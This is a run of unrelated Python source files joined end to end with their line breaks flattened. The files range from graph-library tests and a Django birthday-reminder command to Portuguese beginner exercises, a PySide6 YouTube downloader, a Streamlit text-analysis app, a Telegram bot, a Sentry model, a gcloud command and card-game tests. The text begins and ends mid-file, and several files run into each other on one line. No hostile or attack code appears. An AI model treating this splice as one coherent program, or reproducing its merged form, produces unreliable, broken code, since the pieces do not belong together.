[('A', 'B'), ('A', 'C'), ('A', 'D'), ('A', 'E'), ('B', 'D'), ('C', 'E')] g3.add_nodes_from(nodes) g3.add_edges_from(edges) mg = mn.Multinet() mg.add_layer(g1, '1') mg.add_layer(g2, '2') mg.add_layer(g3, '3') class TestBipartite(object): def test_bipartize(self): bg = mn.bipartize(mg, 'n') assert (bg.number_of_nodes() == mg.number_of_layers() + mg.number_of_nodes()) bg = mn.bipartize(mg, 'e') assert (bg.number_of_nodes() == mg.number_of_layers() + mg.number_of_edges()) class TestReconstruct(object): def test_reconstruct(self): bg = mn.bipartize(mg, 'e') nmg = mn.reconstruct_from_bipartite(bg, mn.Multinet()) assert nmg.number_of_layers() == mg.number_of_layers() assert nmg.number_of_nodes() == mg.number_of_nodes() assert nmg.number_of_edges() == mg.number_of_edges() 0 #!/usr/bin/python # -*- encoding: utf-8 -*- # # author: from django.core.management.base import BaseCommand from private_messages.models import Message from userprofile.models import Profile from datetime import date from django.conf import settings from django.utils import translation from django.utils.translation import ugettext as _ class Command(BaseCommand): args = '' help = "Send private messages to doctors with next patient's birthdays" def handle(self, *args, **options): translation.activate(settings.LANGUAGE_CODE) today = date.today() i = 0 for doctor in Profile.objects.filter(role=settings.DOCTOR): birthdays = Profile.objects.filter(doctor=doctor.user, dob__month=today.month, dob__day=today.day) if birthdays: msg = Message() msg.author = doctor.user msg.recipient = doctor.user msg.subject = "%s %s/%s" % (_(u'Recordatorio de cumpleaños'), today.day, today.month) msg.body = _(u'Hoy es el cumpleaños de:

    ') for b in birthdays: msg.body += b.get_full_name() + '
    ' msg.save() i += 1 self.stdout.write('Sended %s birthday reminders\n' % i) lista = [] while True: num = int(input('Digite um numero: ')) lista.append(num) cont = ' ' while cont not in 'SN': cont = str(input('Deseja continuar [S/N]: ')).upper().strip()[0] if cont == 'N': break print('=-'*30) print(f'Essa lista tem {len(lista)} elementos') lista.sort(reverse=True) print(f'Os valores em ordem decrescente são {lista}') if 5 in lista: print('O valor 5 faz parte da lista') else: print('O valor 5 não faz parte da lista') CAP4-Case study_interface design/exercise&solutions/exercise_4_2.py # -*- coding: utf-8 -*- """ Created on Sat Feb 16 17:47:58 2019 @author: Utente """ #Exercise 4.2 - Flowers import turtle from polygon import arc def petal(t, r, angle): """Draws a petal using two arcs. t: Turtle r: radius of the arcs angle: angle (degrees) that subtends the arcs """ for i in range(2): arc(t, r, angle) t.lt(180-angle) def flower(t, n, r, angle): """Draws flower with n petals """ for i in range(n): petal(t, r, angle) t.lt(360.0/n) def move(t, length): """Move Turtle (t) forward (length) units without leaving a trail. Leaves the pen down. """ t.pu() t.fd(length) t.pd() bob = turtle.Turtle() bob.speed(10) # draw a sequence of three flowers, as shown in the book. #move(bob, -100) #flower(bob, 7, 60.0, 60.0) #move(bob, 100) #flower(bob, 10, 40.0, 80.0) #move(bob, 100) #flower(bob, 20, 140.0, 20.0) #move(bob, -300) #flower(bob, 20, 140.0, 20.0) #move(bob, -100) #flower(bob, 15, 50.0, 70.0) #move(bob, 500) #flower(bob, 15, 55.0, 65.0) bob.hideturtle() turtle.mainloop() lingvo/tools/count_records.py # Lint as: python3 # Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== r"""Tool to count number of records in a dataset. Most other file formats have efficient ways to fetch the number of records in a dataset. However, some formats such as TFRecord requires you to essentially scan the files to perform this count. # GALVEZ: This could be useful to us This is a short little beam script that can leverage many machines to read all of the files in parallel potentially faster than a single machine script. It is recommended that for other file formats, simply reading the metadata available in their formats should work; this file should not really be extended to any other format that already has efficient ways of counting records. """ from absl import app from absl import flags import apache_beam as beam from lingvo.tools import beam_utils flags.DEFINE_string('input_file_pattern', None, 'Path to read input') flags.DEFINE_string('output_count_file', None, 'File to write output to.') flags.DEFINE_string('record_format', None, 'Record format of the input, e.g., tfrecord.') FLAGS = flags.FLAGS def main(argv): beam_utils.BeamInit() # Construct pipeline options from argv. options = beam.options.pipeline_options.PipelineOptions(argv[1:]) reader = beam_utils.GetReader( FLAGS.record_format, FLAGS.input_file_pattern, value_coder=beam.coders.BytesCoder()) with beam_utils.GetPipelineRoot(options=options) as root: _ = ( root | 'Read' >> reader # Read each record. | 'EmitOne' >> beam.Map(lambda _: 1) # Emit a 1 for each record. | 'Count' >> beam.CombineGlobally(sum) # Sum counts. | 'WriteToText' >> beam.io.WriteToText(FLAGS.output_count_file)) if __name__ == '__main__': flags.mark_flags_as_required( ['input_file_pattern', 'output_count_file', 'record_format']) app.run(main) from os import stat import sys from PySide6 import QtCore, QtGui from PySide6.QtWidgets import QAbstractButton, QApplication, QFileDialog, QLabel, QLineEdit, QMessageBox, QRadioButton,QWidget,QPushButton from PySide6.QtGui import QActionEvent, QCloseEvent, QCursor, QFont, QIcon from core.yt_download import DownloadYT class Janela(QWidget): def __init__(self): super().__init__() self.setup() def setup(self): w = 400 h = 500 x = (1366 /2) - (w/2) y = (768 /2) - ((h/2)-40) self.setGeometry(x,y,w,h) self.setMaximumSize(w,h) self.setMinimumSize(w,h) self.setWindowTitle(" Minha primeira aplicação") self.setWindowIcon(QtGui.QIcon(QtGui.QPixmap('assets\ico.ico'))) self.setAutoFillBackground(True) self.setStyleSheet('background-color: #fff') self.set_img() self.label_principal() self.url_vid() self.select_resolution() self.button_download() self.show() def closeEvent(self, event: QCloseEvent): reply = QMessageBox.question( self, 'Message', 'Deseja fechar o programa?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No ) if reply == QMessageBox.Yes: event.accept() else: event.ignore() """box = QMessageBox() box.setIcon(QMessageBox.Question) box.setWindowTitle('Feixar programa') box.setText('Deseja feixar o programa?') box.setStandardButtons(QMessageBox.Yes|QMessageBox.No) buttonY = box.button(QMessageBox.Yes) buttonY.setText('Sim') buttonN = box.button(QMessageBox.No) buttonN.setText('Não') box.exec_() if box.clickedButton() == buttonY: event.accept() elif box.clickedButton() == buttonN: event.ignore()""" def set_img(self): img = QIcon('assets/video.png') lb_img = QLabel('Palavra',self) lb_img.move(67,56) red_img = img.pixmap(60,60,QIcon.Active) lb_img.setPixmap(red_img) def label_principal(self): lb_YT = QLabel('YouTube',self) lb_YT.move(137,45) lb_YT.setStyleSheet('font-size: 48px; color: #E28086;font-weight:bold') lb_YT.setFont(QFont('fonts\CircularStd-Bold.otf')) sub_lb_YT = QLabel('download...',self) sub_lb_YT.move(149,98) sub_lb_YT.setStyleSheet('font-size: 20px; color: #494343;font-style:book') sub_lb_YT.setFont(QFont('fonts\CircularStd-Book.otf').setBold(True)) def url_vid(self): font_lb = QFont('fonts\CircularStd-Book.otf') font_lb.setPointSize(14) lb_camp = QLabel('url:',self) lb_camp.move(55,174) lb_camp.setStyleSheet('color: #888080;font-style:300') lb_camp.setFont(font_lb) font_camp = QFont('fonts\CircularStd-Book.otf') font_camp.setPointSize(11) self.camp_url = QLineEdit(self) self.camp_url.setGeometry(41,203,318,35) self.camp_url.setFont(font_camp) self.camp_url.setStyleSheet('background-color: #FCFCFC; border: 1px solid #E2DFDF; border-radius:5px; padding-left:8px; padding-right:8px;color:#494343') self.camp_url.font() self.camp_url.setPlaceholderText('https://www.youtube.com/watch?v=1V_xRb0x9aw') def select_resolution(self): font_rd = QFont('fonts\CircularStd-Book.ttf') font_rd.setPointSize(10) css = ('color: #888080; letter-spacing:1.5px') self.rd_1 = QRadioButton("Alta qualidade",self) self.rd_1.move(70,262) self.rd_1.setFont(font_rd) self.rd_1.setStyleSheet(css) self.rd_2 = QRadioButton("Baixa qualidade",self) self.rd_2.move(70,290)#70,287 self.rd_2.setFont(font_rd) self.rd_2.setStyleSheet(css) self.rd_2.isChecked() self.rd_3 = QRadioButton("Apenas o áudio",self) self.rd_3.move(70,316)#70,310 self.rd_3.setFont(font_rd) self.rd_3.setStyleSheet(css) self.rd_3.isChecked() def update_checked(self): if self.rd_1.isChecked() == True: rd = 1 return rd elif self.rd_2.isChecked() == True: rd = 2 return rd elif self.rd_3.isChecked() == True: rd = 3 return rd def button_download(self): css_btt = ( "QPushButton" "{" "border-radius:10px; background-color: #E28086; color: #fff; font-size:18px" "}" "QPushButton::pressed" "{" "background-color : #D8797F;" "}" ) self.btt_dw = QPushButton('BAIXAR',self) self.btt_dw.setGeometry(124,386,152,37) self.btt_dw.setStyleSheet(css_btt) self.btt_dw.setCursor(QCursor(QtCore.Qt.PointingHandCursor)) self.btt_dw.clicked.connect(self.directory_save) def directory_save(self): find_path_save = QFileDialog.getExistingDirectory(self, "Onde desejar salvar?") self.path_save = find_path_save self.download_video() def download_video(self): self.url_video = self.camp_url.text() res_vid = self.update_checked() start_download = DownloadYT(self.url_video,self.path_save).start_download(res_vid) self.messager_down(start_download) #if start_download: #print("Download concluído!") def messager_down(self,start_download): if start_download: sucess_messager = QMessageBox.about(self,"Download concluído","Pronto!\nSeu download foi concluído com sucesso!") def start(): app = QApplication(sys.argv) window_app = Janela() sys.exit(app.exec_()) if __name__ == '__main__': start() # SYNTHIA # The AI system to turn words into knowledge ########## #LIBRARIES ########## import streamlit as st import streamlit.components.v1 as components from gensim.summarization import summarize from googletrans import Translator import nltk from nltk.tokenize import word_tokenize import readtime import textstat import queue import threading import time import urllib.request from collections import deque from pathlib import Path from typing import List from qrcodegen import * import av import numpy as np import pydub from streamlit_webrtc import ( AudioProcessorBase, ClientSettings, WebRtcMode, webrtc_streamer, ) HERE = Path(__file__).parent # This code is based on https://github.com/streamlit/demo-self-driving/blob/230245391f2dda0cb464008195a470751c01770b/streamlit_app.py#L48 # noqa: E501 def download_file(url, download_to: Path, expected_size=None): # Don't download the file twice. # (If possible, verify the download using the file length.) if download_to.exists(): if expected_size: if download_to.stat().st_size == expected_size: return else: st.info(f"{url} is already downloaded.") if not st.button("Download again?"): return download_to.parent.mkdir(parents=True, exist_ok=True) # These are handles to two visual elements to animate. weights_warning, progress_bar = None, None try: weights_warning = st.warning("Downloading %s..." % url) progress_bar = st.progress(0) with open(download_to, "wb") as output_file: with urllib.request.urlopen(url) as response: length = int(response.info()["Content-Length"]) counter = 0.0 MEGABYTES = 2.0 ** 20.0 while True: data = response.read(8192) if not data: break counter += len(data) output_file.write(data) # We perform animation by overwriting the elements. weights_warning.warning( "Downloading %s... (%6.2f/%6.2f MB)" % (url, counter / MEGABYTES, length / MEGABYTES) ) progress_bar.progress(min(counter / length, 1.0)) # Finally, we remove these visual elements by calling .empty(). finally: if weights_warning is not None: weights_warning.empty() if progress_bar is not None: progress_bar.empty() ######## #HEADER ####### st.set_page_config(page_title="Synthia") st.markdown("

    Turn words into knowledge

    ", unsafe_allow_html=True) st.markdown("

    Summarize. Paraphrase. Measure.

    ", unsafe_allow_html=True) st.write('') """ [![Star](https://img.shields.io/github/stars/dlopezyse/Synthia.svg?logo=github&style=social)](https://gitHub.com/dlopezyse/Synthia)  [![Follow](https://img.shields.io/twitter/follow/lopezyse?style=social)](https://www.twitter.com/lopezyse) """ st.write('') st.write(':point_left: Use the menu at left to select your task (click on > if closed).') st.markdown('___') ######### #SIDEBAR ######## st.sidebar.header('I want to :bulb:') nav = st.sidebar.radio('',['Summarize text', 'Paraphrase text', 'Measure text', 'Speech to Text', 'Text to QRcode']) st.sidebar.write('') st.sidebar.write('') st.sidebar.write('') st.sidebar.write('') st.sidebar.write('') #ABOUT ###### expander = st.sidebar.expander('About') expander.write("Learning happens best when content is personalized to meet our needs and strengths. For this reason I created SYNTHIA :robot_face:, the AI system to accelerate and design your knowledge in seconds (this site is only a demo of several other functionalities). I'd love your feedback on this :smiley:, so if you want to reach out you can find me on [LinkedIn] (https://www.linkedin.com/in/lopezyse/) and [Twitter] (https://twitter.com/lopezyse)") ####### #PAGES ###### #SUMMARIZE ########## if nav == 'Summarize text': st.markdown("

    Summarize Text

    ", unsafe_allow_html=True) st.text('') input_su = st.text_area("Write some text or copy & paste so we can summarize it (minimum = 1000 characters)", max_chars=5000) if st.button('Summarize'): if input_su =='': st.error('Please enter some text') elif len(input_su) < 1000: st.error('Please enter a larger text') else: with st.spinner('Wait for it...'): st.success(summarize(input_su, word_count=50, ratio=0.05)) st.markdown('___') components.html( """ """, ) #----------------------------------------- #PARAPHRASE ########### if nav == 'Paraphrase text': st.markdown("

    Paraphrase Text

    ", unsafe_allow_html=True) st.text('') input_pa = st.text_area("Write some text or copy & paste so we can paraphrase it", max_chars=5000) if st.button('Paraphrase'): if input_pa =='': st.error('Please enter some text') else: with st.spinner('Wait for it...'): translator = Translator() mid = translator.translate(input_pa, dest="fr").text mid2 = translator.translate(mid, dest="de").text back = translator.translate(mid2, dest="en").text st.write(back) st.markdown('___') components.html( """ """, ) #----------------------------------------- #MEASURE ######## if nav == 'Measure text': st.markdown("

    Measure Text

    ", unsafe_allow_html=True) st.text('') input_me = st.text_area("Input some text in English, and scroll down to analyze it", max_chars=5000) if st.button('Measure'): if input_me =='': st.error('Please enter some text') elif len(input_me) < 500: st.error('Please enter a larger text') else: with st.spinner('Wait for it...'): nltk.download('punkt') rt = readtime.of_text(input_me) tc = textstat.flesch_reading_ease(input_me) tokenized_words = word_tokenize(input_me) lr = len(set(tokenized_words)) / len(tokenized_words) lr = round(lr,2) st.text('Reading Time') st.write(rt) st.text('Text Complexity (score from 0 (hard to read), to 100 (easy to read))') st.write(tc) st.text('Lexical Richness (distinct words over total number of words)') st.write(lr) st.markdown('___') components.html( """ """, ) #----------------------------------------- #SPEECH-TO-TEXT ######## def app_sst(model_path: str, lm_path: str, lm_alpha: float, lm_beta: float, beam: int): webrtc_ctx = webrtc_streamer( key="speech-to-text", mode=WebRtcMode.SENDONLY, audio_receiver_size=1024, client_settings=ClientSettings( rtc_configuration={ "iceServers": [{"urls": ["stun:stun.l.google.com:19302"]}] }, media_stream_constraints={"video": False, "audio": True}, ), ) status_indicator = st.empty() if not webrtc_ctx.state.playing: return status_indicator.write("Loading...") text_output = st.empty() stream = None while True: if webrtc_ctx.audio_receiver: if stream is None: from deepspeech import Model model = Model(model_path) model.enableExternalScorer(lm_path) model.setScorerAlphaBeta(lm_alpha, lm_beta) model.setBeamWidth(beam) stream = model.createStream() status_indicator.write("Model loaded.") sound_chunk = pydub.AudioSegment.empty() try: audio_frames = webrtc_ctx.audio_receiver.get_frames(timeout=1) except queue.Empty: time.sleep(0.1) status_indicator.write("No frame arrived.") continue status_indicator.write("Running. Say something!") for audio_frame in audio_frames: sound = pydub.AudioSegment( data=audio_frame.to_ndarray().tobytes(), sample_width=audio_frame.format.bytes, frame_rate=audio_frame.sample_rate, channels=len(audio_frame.layout.channels), ) sound_chunk += sound if len(sound_chunk) > 0: sound_chunk = sound_chunk.set_channels(1).set_frame_rate( model.sampleRate() ) buffer = np.array(sound_chunk.get_array_of_samples()) stream.feedAudioContent(buffer) text = stream.intermediateDecode() text_output.markdown(f"**Text:** {text}") else: status_indicator.write("AudioReciver is not set. Abort.") break if nav == 'Speech to Text': st.markdown("

    Speech to Text

    ", unsafe_allow_html=True) st.text('') st.write("This demo app is using [DeepSpeech](https://github.com/mozilla/DeepSpeech), an open speech-to-text engine. A pre-trained model released with [v0.9.3](https://github.com/mozilla/DeepSpeech/releases/tag/v0.9.3), trained on American English is being served.") MODEL_URL = "https://github.com/mozilla/DeepSpeech/releases/download/v0.9.3/deepspeech-0.9.3-models.pbmm" LANG_MODEL_URL = "https://github.com/mozilla/DeepSpeech/releases/download/v0.9.3/deepspeech-0.9.3-models.scorer" MODEL_LOCAL_PATH = HERE / "models/deepspeech-0.9.3-models.pbmm" LANG_MODEL_LOCAL_PATH = HERE / "models/deepspeech-0.9.3-models.scorer" download_file(MODEL_URL, MODEL_LOCAL_PATH, expected_size=188915987) download_file(LANG_MODEL_URL, LANG_MODEL_LOCAL_PATH, expected_size=953363776) lm_alpha = 0.931289039105002 lm_beta = 1.1834137581510284 beam = 100 sound_only_page = "Speak Up" app_mode = st.selectbox("Choose the app mode", [sound_only_page]) if app_mode == sound_only_page: app_sst( str(MODEL_LOCAL_PATH), str(LANG_MODEL_LOCAL_PATH), lm_alpha, lm_beta, beam ) #----------------------------------------- #TEXT-TO-QRCODE ######## def to_svg_str(qr: QrCode, border: int) -> str: """Returns a string of SVG code for an image depicting the given QR Code, with the given number of border modules. The string always uses Unix newlines (\n), regardless of the platform.""" if border < 0: raise ValueError("Border must be non-negative") parts: List[str] = [] for y in range(qr.get_size()): for x in range(qr.get_size()): if qr.get_module(x, y): parts.append("M{},{}h1v1h-1z".format(x + border, y + border)) return """ """.format(qr.get_size() + border * 2, " ".join(parts)) if nav == 'Text to QRcode': st.markdown("

    Text to QRcode

    ", unsafe_allow_html=True) st.text('') input_su = st.text_area("Write some text or copy & paste so we can generate it's QRcode", max_chars=5000) if st.button('Generate QRcode'): if input_su =='': st.error('Please enter some text') else: qr = QrCode.encode_text(input_su, QrCode.Ecc.MEDIUM) st.markdown(str(to_svg_str(qr, 4)), unsafe_allow_html=True) st.markdown('___') #################################### class DataFile: """ A class representing a DataFile to be made by pipeline stages and passed on to subsequent ones. DataFile itself should not be instantiated - instead subclasses should be defined for different file types. These subclasses are used in the definition of pipeline stages to indicate what kind of file is expected. The "suffix" attribute, which must be defined on subclasses, indicates the file suffix. The open method, which can optionally be overridden, is used by the machinery of the PipelineStage class to open an input our output named by a tag. """ @classmethod def open(cls, path, mode): """ Open a data file. The base implementation of this function just opens and returns a standard python file object. Subclasses can override to either open files using different openers (like fitsio.FITS), or, for more specific data types, return an instance of the class itself to use as an intermediary for the file. """ return open(path, mode) class HDFFile(DataFile): """ A data file in the HDF5 format. Using these files requires the h5py package, which in turn requires an HDF5 library installation. """ suffix = 'hdf' @classmethod def open(cls, path, mode, **kwargs): import warnings with warnings.catch_warnings(): warnings.simplefilter("ignore") import h5py return h5py.File(path, mode, **kwargs) class FitsFile(DataFile): """ A data file in the FITS format. Using these files requires the fitsio package. """ suffix = 'fits' @classmethod def open(cls, path, mode, **kwargs): import fitsio # Fitsio doesn't have pure 'w' modes, just 'rw'. # Maybe we should check if the file already exists here? if mode == 'w': mode = 'rw' return fitsio.FITS(path, mode=mode, **kwargs) class TextFile(DataFile): """ A data file in plain text format. """ suffix = 'txt' class YamlFile(DataFile): """ A data file in yaml format. """ suffix = 'yml' timedata-org/controly0 from . import bang from . import int_entry from . import int_slider from . import notes_held from . import selector from . import switch_button from kivy.app import App from timedata.instruments.laser import constants import random import threading import time class UIApp(App): def build(self): if not False: return test_int_slider() if False: return test_bang() if False: return test_switch_button() if False: return test_notes_held() if False: return test_selector() if False: return test_int_entry() def test_int_entry(): b = int_entry.IntEntry(0, 100000) b.bind(value=print) return b def test_int_slider(): return int_slider.IntSlider('IntSlider', 0, 255) def test_selector(): s = selector.Selector(constants.Patterns, size_hint=(0.5, 0.1)) s.bind(enum=print) return s def test_bang(): b = bang.Bang('Bang!', 0.5) def sb(t): time.sleep(t) b.bang() def target(): sb(1) sb(2) sb(0.4) sb(0.4) sb(0.4) sb(2) sb(0.6) sb(0.6) sb(0.6) threading.Thread(target=target, daemon=True).start() return b def test_switch_button(): return switch_button.SwitchButton('Hello', 'world') def test_notes_held(): import math high = 14 held = notes_held.NotesHeld( high=high, columns=int(math.sqrt(high)), color=(0.5, 0.5, 0.5) ) def target(): while True: time.sleep(random.uniform(0.05, 0.5)) note = random.randrange(high + 1) held.note(note, note not in held.notes_held) threading.Thread(target=target, daemon=True).start() return held if __name__ == '__main__': UIApp().run() 1-10 from enforce_typing import enforce_types from engine import AgentBase from util.constants import BROWNIE_PROJECT057 from util import globaltokens from util.base18 import toBase18 from agents.VestingWalletAgent import VestingWalletAgent @enforce_types class VestingFunderAgent(AgentBase.AgentBaseEvm): """Will create and fund a VestingWalletAgent with specified name. The vesting wallet will vest over time; when its funds are released, they will go to the specified beneficiary agent.""" def __init__( self, name: str, USD: float, OCEAN: float, vesting_wallet_agent_name: str, beneficiary_agent_name: str, start_timestamp: int, duration_seconds: int, ): # pylint: disable=too-many-arguments super().__init__(name, USD, OCEAN) self._vesting_wallet_agent_name: str = vesting_wallet_agent_name self._beneficiary_agent_name: str = beneficiary_agent_name self._start_timestamp: int = start_timestamp self._duration_seconds: int = duration_seconds self._did_funding = False def takeStep(self, state) -> None: if self._did_funding: return self._did_funding = True # create vesting wallet beneficiary_agent = state.getAgent(self._beneficiary_agent_name) vw_contract = BROWNIE_PROJECT057.VestingWallet057.deploy( beneficiary_agent.address, self._start_timestamp, self._duration_seconds, {"from": self.account}, ) # fund the vesting wallet with all of self's OCEAN token = globaltokens.OCEANtoken() token.transfer( vw_contract.address, toBase18(self.OCEAN()), {"from": self.account} ) self._wallet.resetCachedInfo() # create vesting wallet agent, add to state vw_agent = VestingWalletAgent(self._vesting_wallet_agent_name, vw_contract) state.addAgent(vw_agent) km = float(input('Qual a distância da sua viagem? ')) if km <= 200: print('O preço da sua viagem será de R$ {:.2f}!'.format(km*0.5)) else: print('O preço da sua viagem será de R$ {:.2f}!'.format(km*0.45))import yaml import requests # import file class TelegramBot(): def __init__(self, param_file="/home/oleguer/.telegram_bots/oleguer-hab.yaml"): stream = open(param_file, 'r') params = yaml.load(stream, Loader=yaml.FullLoader) self.bot_token = str(params["bot_token"]) self.bot_chatID = str(params["bot_chatID"]) def send(self, bot_message): try: send_text = 'https://api.telegram.org/bot' + self.bot_token + '/sendMessage?chat_id=' + self.bot_chatID + '&parse_mode=Markdown&text=' + bot_message response = requests.get(send_text) except Exception as e: print(e) return None return response.json() if __name__ == "__main__": telegram_bot = TelegramBot() answer = telegram_bot.send("ke ase") print(answer)"""Process the USCRN station table ftp://ftp.ncdc.noaa.gov/pub/data/uscrn/products/stations.tsv """ import pandas as pd from pyiem.util import get_dbconn def main(): """Go""" pgconn = get_dbconn('mesosite', user='mesonet') cursor = pgconn.cursor() df = pd.read_csv('stations.tsv', sep=r'\t', engine='python') df['stname'] = df['LOCATION'] + " " + df['VECTOR'] for _, row in df.iterrows(): station = row['WBAN'] if station == 'UN' or pd.isnull(station): continue cursor.execute(""" SELECT * from stations where id = %s and network = 'USCRN' """, (station, )) if cursor.rowcount == 0: cursor.execute(""" INSERT into stations (id, network) VALUES (%s, 'USCRN') """, (station, )) cursor.execute(""" UPDATE stations SET geom = 'SRID=4326;POINT(%(LONGITUDE)s %(LATITUDE)s)', country = %(COUNTRY)s, state = %(STATE)s, name = %(stname)s, elevation = %(ELEVATION)s, online = 't', metasite = 'f' WHERE id = %(WBAN)s and network = 'USCRN' """, row) cursor.close() pgconn.commit() pgconn.close() if __name__ == '__main__': main() from __future__ import absolute_import from django.db import models from django.utils import timezone from django.utils.translation import ugettext_lazy as _ from sentry.db.models import (BoundedPositiveIntegerField, Model, FlexibleForeignKey, sane_repr) class GroupResolution(Model): """ Describes when a group was marked as resolved. """ __core__ = False class Type: in_release = 0 in_next_release = 1 class Status: pending = 0 resolved = 1 group = FlexibleForeignKey('sentry.Group', unique=True) # the release in which its suggested this was resolved # which allows us to indicate if it still happens in newer versions release = FlexibleForeignKey('sentry.Release') type = BoundedPositiveIntegerField( choices=((Type.in_next_release, 'in_next_release'), (Type.in_release, 'in_release'), ), null=True ) actor_id = BoundedPositiveIntegerField(null=True) datetime = models.DateTimeField(default=timezone.now, db_index=True) status = BoundedPositiveIntegerField( default=Status.pending, choices=((Status.pending, _('Pending')), (Status.resolved, _('Resolved')), ), ) class Meta: db_table = 'sentry_groupresolution' app_label = 'sentry' __repr__ = sane_repr('group_id', 'release_id') @classmethod def has_resolution(cls, group, release): """ Determine if a resolution exists for the given group and release. This is used to suggest if a regression has occurred. """ try: res_type, res_release, res_release_datetime = cls.objects.filter( group=group, ).select_related('release').values_list( 'type', 'release__id', 'release__date_added', )[0] except IndexError: return False # if no release is present, we assume we've gone from "no release" to "some release" # in application configuration, and thus this must be older if not release: return True if res_type in (None, cls.Type.in_next_release): if res_release == release.id: return True elif res_release_datetime > release.date_added: return True return False elif res_type == cls.Type.in_release: if res_release == release.id: return False if res_release_datetime < release.date_added: return False return True else: raise NotImplementedError jedhsu/tensor """ *Orientation* """ from dataclasses import dataclass from typing import Literal __all__ = ["AxisOrientation"] @dataclass class AxisOrientation: origin: int direction: Literal[1, -1] def orient( self, origin: int, direction: Literal[1, -1], ): self.origin = origin self.direction = direction # -*- coding: utf-8 -*- # # Copyright 2020 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Command that restarts web server for an environment.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals from googlecloudsdk.api_lib.composer import environments_util as environments_api_util from googlecloudsdk.api_lib.composer import operations_util as operations_api_util from googlecloudsdk.calliope import base from googlecloudsdk.command_lib.composer import resource_args from googlecloudsdk.command_lib.composer import util as command_util from googlecloudsdk.core import log import six DETAILED_HELP = { 'EXAMPLES': """\ To restart the Cloud Composer web server in an environment named ``env-1'', run: $ {command} env-1 """ } @base.ReleaseTracks(base.ReleaseTrack.ALPHA, base.ReleaseTrack.BETA) class RestartWebServer(base.Command): """Restart web server for a Cloud Composer environment.""" detailed_help = DETAILED_HELP @staticmethod def Args(parser): resource_args.AddEnvironmentResourceArg(parser, 'to restart web server for') base.ASYNC_FLAG.AddToParser(parser) def Run(self, args): env_resource = args.CONCEPTS.environment.Parse() operation = environments_api_util.RestartWebServer( env_resource, release_track=self.ReleaseTrack()) if args.async_: return self._AsynchronousExecution(env_resource, operation) else: return self._SynchronousExecution(env_resource, operation) def _AsynchronousExecution(self, env_resource, operation): details = 'with operation [{0}]'.format(operation.name) log.UpdatedResource( env_resource.RelativeName(), kind='environment', is_async=True, details=details) return operation def _SynchronousExecution(self, env_resource, operation): try: operations_api_util.WaitForOperation( operation, 'Waiting for [{}] to be updated with [{}]'.format( env_resource.RelativeName(), operation.name), release_track=self.ReleaseTrack()) except command_util.Error as e: raise command_util.Error('Error restarting web server [{}]: {}'.format( env_resource.RelativeName(), six.text_type(e))) from urllib.parse import urlparse result = urlparse('http://www.baidu.com/index.html;user?id=5#comment', allow_fragments=False) print(result)cristianoandrad/ExerciciosPythonCursoEmVideo0 '''Crie um programa que leia dois valores e mostre um menu na tela: [ 1 ] somar [ 2 ] multiplicar [ 3 ] maior [ 4 ] novos números [ 5 ] sair do programa Seu programa deverá realizar a operação solicitada em cada caso.''' from time import sleep n1 = float(input('Digite o primeiro valor: ')) n2 = float(input('Digite o segundo valor: ')) menu = 0 while menu != 5: menu = int(input('''Qual operação você deseja fazer ? [1] Somar [2] Multiplicar [3] Maior [4] Novos números [5] Sair do programa Digite o código escolhido: ''')) if menu < 1 or menu > 5: print('\nOpção inválida, tente novamente\n') elif menu == 1: print('\nA soma nos números {} e {} é {:.2f}\n'.format(n1, n2, n1 + n2)) elif menu == 2: print('\nA multiplicação nos números {} e {} é {:.2f}\n'.format(n1, n2, n1 * n2)) elif menu == 3: if n1 > n2: print('\nO maior número entre {} e {} é o {}\n'.format(n1, n2, n1)) else: print('\nO maior número entre {} e {} é o {}\n'.format(n1, n2, n2)) elif menu == 4: n1 = float(input('Digite o primeiro valor: ')) n2 = float(input('Digite o segundo valor: ')) print('Finalizando', end='') sleep(1) print('.', end='') sleep(1) print('.', end='') sleep(1) print('.', end='') sleep(1) print('\nO Programa foi finalizado! ') dkiefner/skat-buddy from unittest import TestCase from model.card import Card class CardTest(TestCase): def setUp(self): pass def test_equals(self): # given card_a = Card(Card.Suit.DIAMOND, Card.Face.SEVEN) card_b = Card(Card.Suit.DIAMOND, Card.Face.SEVEN) # then self.assertEquals(card_a, card_b) def test_notEquals_differentSuit(self): # given card_a = Card(Card.Suit.DIAMOND, Card.Face.SEVEN) card_b = Card(Card.Suit.HEARTS, Card.Face.SEVEN) # then self.assertNotEquals(card_a, card_b) def test_notEquals_differentFace(self): # given card_a = Card(Card.Suit.DIAMOND, Card.Face.SEVEN) card_b = Card(Card.Suit.DIAMOND, Card.Face.EIGHT) # then self.assertNotEquals(card_a, card_b) def test_getValue_single(self): # then self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.SEVEN).get_value(), 0) self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.EIGHT).get_value(), 0) self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.NINE).get_value(), 0) self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.JACK).get_value(), 2) self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.QUEEN).get_value(), 3) self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.KING).get_value(), 4) self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.TEN).get_value(), 10) self.assertEquals(Card(Card.Suit.DIAMOND, Card.Face.ACE).get_value(), 11) def test_getValue_sum(self): # given card_sum = 0 # when for suit in Card.Suit: for face in Card.Face: card_sum += Card(suit, face).get_value() # then self.assertEquals(card_sum, 120) Diffblue-benchmarks/pacbot from core.terraform.resources import TerraformResource from core.config import Settings from core.providers.aws.boto3 import batch class BatchComputeEnvironmentResource(TerraformResource): """ Base resource class for Terraform AWS Batch compute environment resource Attributes: resource_instance_name (str): Type of resource instance available_args (dict): Instance configurations """ resource_instance_name = "aws_batch_compute_environment" available_args = { 'compute_environment_name': {'required': True, 